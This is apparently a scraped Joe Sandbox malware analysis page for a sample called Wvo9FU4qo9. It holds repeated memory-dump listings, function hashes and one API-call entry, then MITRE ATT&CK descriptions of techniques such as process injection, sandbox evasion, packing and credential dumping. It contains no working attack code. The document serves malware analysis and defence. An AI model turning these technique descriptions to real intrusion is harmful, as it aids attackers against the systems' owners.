Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf931abd530a1376e867ecf2418e984c51261fdae448421ea984bcf0b5d249e
Instruction ID: c469d935dd0a354040bf609ca9b447853c8190e180a97e46f7cd389381595d60
Opcode Fuzzy Hash: 0cf931abd530a1376e867ecf2418e984c51261fdae448421ea984bcf0b5d249e
Instruction Fuzzy Hash: 29214DB3F6152647F3488869CC593A2A282D7D8324F3F41788E5CE73C0D9BE9D465384

Function 0059844B Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cddcd175f9de10440cc8bc32cf68e312d1e1222f91d82d426e4a233ce061cbe4
Instruction ID: 3800a9e340926160a7ce04ed588b09d80faaa62f8a440ad66eade890a0d77502
Opcode Fuzzy Hash: cddcd175f9de10440cc8bc32cf68e312d1e1222f91d82d426e4a233ce061cbe4
Instruction Fuzzy Hash: A2214CB3F5113447F3508969DC88352B682A7A4324F2F82748E9CAB7C6ED7E9C0693C0

Function 0055654F Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba48b7e964eea2702fb2fe146c7a546698d0d2d9cd99e5440fa2336f4eddb7f
Instruction ID: 139fc783ce01788093d68e5d020ed39406d29451cc0e66162e62dcc38053c12f
Opcode Fuzzy Hash: fba48b7e964eea2702fb2fe146c7a546698d0d2d9cd99e5440fa2336f4eddb7f
Instruction Fuzzy Hash: FE214AF3F1112447F7588939CC5836665939BD9320F2F82788E2CABBD5EC7E8D0A4284

Function 0052216A Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47945dc6631f94f1f395ccd4a599edb0efd2dd7db91832b65ba55616a29e2435
Instruction ID: 7d886b6dcf79fbf5b65081e5d89fc8f6b1762d71aceb883b457301e22022d51b
Opcode Fuzzy Hash: 47945dc6631f94f1f395ccd4a599edb0efd2dd7db91832b65ba55616a29e2435
Instruction Fuzzy Hash: 01217CB7E5152107F3984879CD58352A583E7E4324F2FC6388E98A3BCADC7E9C0942C4

Function 0052C277 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf7c454d5947ddfa1bb44ee1cbf6edd75c75231de7687ae4c7baac09392c6d55
Instruction ID: 2c1cd0181e0bb77c46d8b834ff3a77e8fad4efe9bfb37ab92105fc48cd1ca50d
Opcode Fuzzy Hash: bf7c454d5947ddfa1bb44ee1cbf6edd75c75231de7687ae4c7baac09392c6d55
Instruction Fuzzy Hash: 55215EB3F2252107F3544838CD553A65243DBD8324F2FC2788A88ABBC9ED7E9C4A4384

Function 0058E5D9 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d71a9aa4406ffd619c0f663b8cb55343dfc637057bfcdbdd93a3bcf86a22e35
Instruction ID: f77021e8c0921e81b81cff4ecabe7abe30281a0e4bf7f4dbe983fb977385dc40
Opcode Fuzzy Hash: 6d71a9aa4406ffd619c0f663b8cb55343dfc637057bfcdbdd93a3bcf86a22e35
Instruction Fuzzy Hash: 03218FB3F502354BF39808A4CCA93A6A582E794324F2F42398F9DA73C1DCBD5C4A52C4

Function 005E2431 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df0340643f3eeb545fa0d5d41ae48497f84568a867eb5f6542458901f7b5725b
Instruction ID: 28c38c8872b123d8f958e26bdd6cb9c706be8788121cffcae7a81978664dfa11
Opcode Fuzzy Hash: df0340643f3eeb545fa0d5d41ae48497f84568a867eb5f6542458901f7b5725b
Instruction Fuzzy Hash: FF113AB7F2162007F3848864DD993A26643E7D8314F2F80398F89A77CADCBE5D0906C4

Function 004E6210 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d579f074e2abce4592397d150ad32cda48d6216be7670c53f800ab63031620d7
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: CC112933A041D40EC3129D3D8500565BFE30BF3376F1A43DAF4B89B2D2D6268D8A8359

Function 0053C2C4 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d50cd02db78d561bf84398993b6436f1974efa94ab9c5c8fe34b1c68044834
Instruction ID: d9cad8d55ad18b980c9ffd2bb91a9eb837a6e85c18398f82dd81848f416a2f27
Opcode Fuzzy Hash: f7d50cd02db78d561bf84398993b6436f1974efa94ab9c5c8fe34b1c68044834
Instruction Fuzzy Hash: 33113CB7F516244BF351487ACC843926583ABE9321F2B827889A8573C4ECBD584A5294

Function 004CC300 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d915abd692c596d351a76ef7c44155bf2f7634e88133afcabaf1f94f6f3ee80c
Instruction ID: f4c4f1d5f0d808e3f8bdcc00de2371e74ad2038ed2075f57f57470fabdebeebd
Opcode Fuzzy Hash: d915abd692c596d351a76ef7c44155bf2f7634e88133afcabaf1f94f6f3ee80c
Instruction Fuzzy Hash: 2BF08124004B914AD7728F398460773BFE09B13218F141A4DC9D7476E2D36AD00A8788

Function 004DE0DA Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction ID: 8b7a2b4c166fdb3d48a62bb880509e0509666f4597344d64eaf62b1a72741bf0
Opcode Fuzzy Hash: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction Fuzzy Hash: 52F065105087E28ADB234B3E44706B3AFE09B63120B181BD7C8E19B3C7C3199497C36A

Function 004DD116 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58e1c988d0910aaceeaed7589889c7ee5d6167aba00e8f21e93a1c52357059d8
Instruction ID: 6e2f14d6f604c1223f6c0ad7c5a2d4295570d6d8dcd45acbcd60345435fd7e2b
Opcode Fuzzy Hash: 58e1c988d0910aaceeaed7589889c7ee5d6167aba00e8f21e93a1c52357059d8
Instruction Fuzzy Hash: 3101F9706442429BD304CF38CCA0577FBA1EB86364F08D79DC4568B796C638D442C799

Function 004D91AE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?), ref: 004D91DA

Strings

wpq, xrefs: 004D92B7
+Ku, xrefs: 004D92AF

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +Ku$wpq
API String ID: 237503144-1953850642
Opcode ID: e57e22106b1e6f7b602839bc294af2e67b6d2b1e29bac09348ef7c60eaab28e9
Instruction ID: 642b41c4325348bdadac05aa49dd83172fdd49e297ec924f5ba7a80f746a6e4d
Opcode Fuzzy Hash: e57e22106b1e6f7b602839bc294af2e67b6d2b1e29bac09348ef7c60eaab28e9
Instruction Fuzzy Hash: 9F51BD7220C3128FC324CF29984076FB7E2EBC5310F15892EE499CB285DB34D50ACB96

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
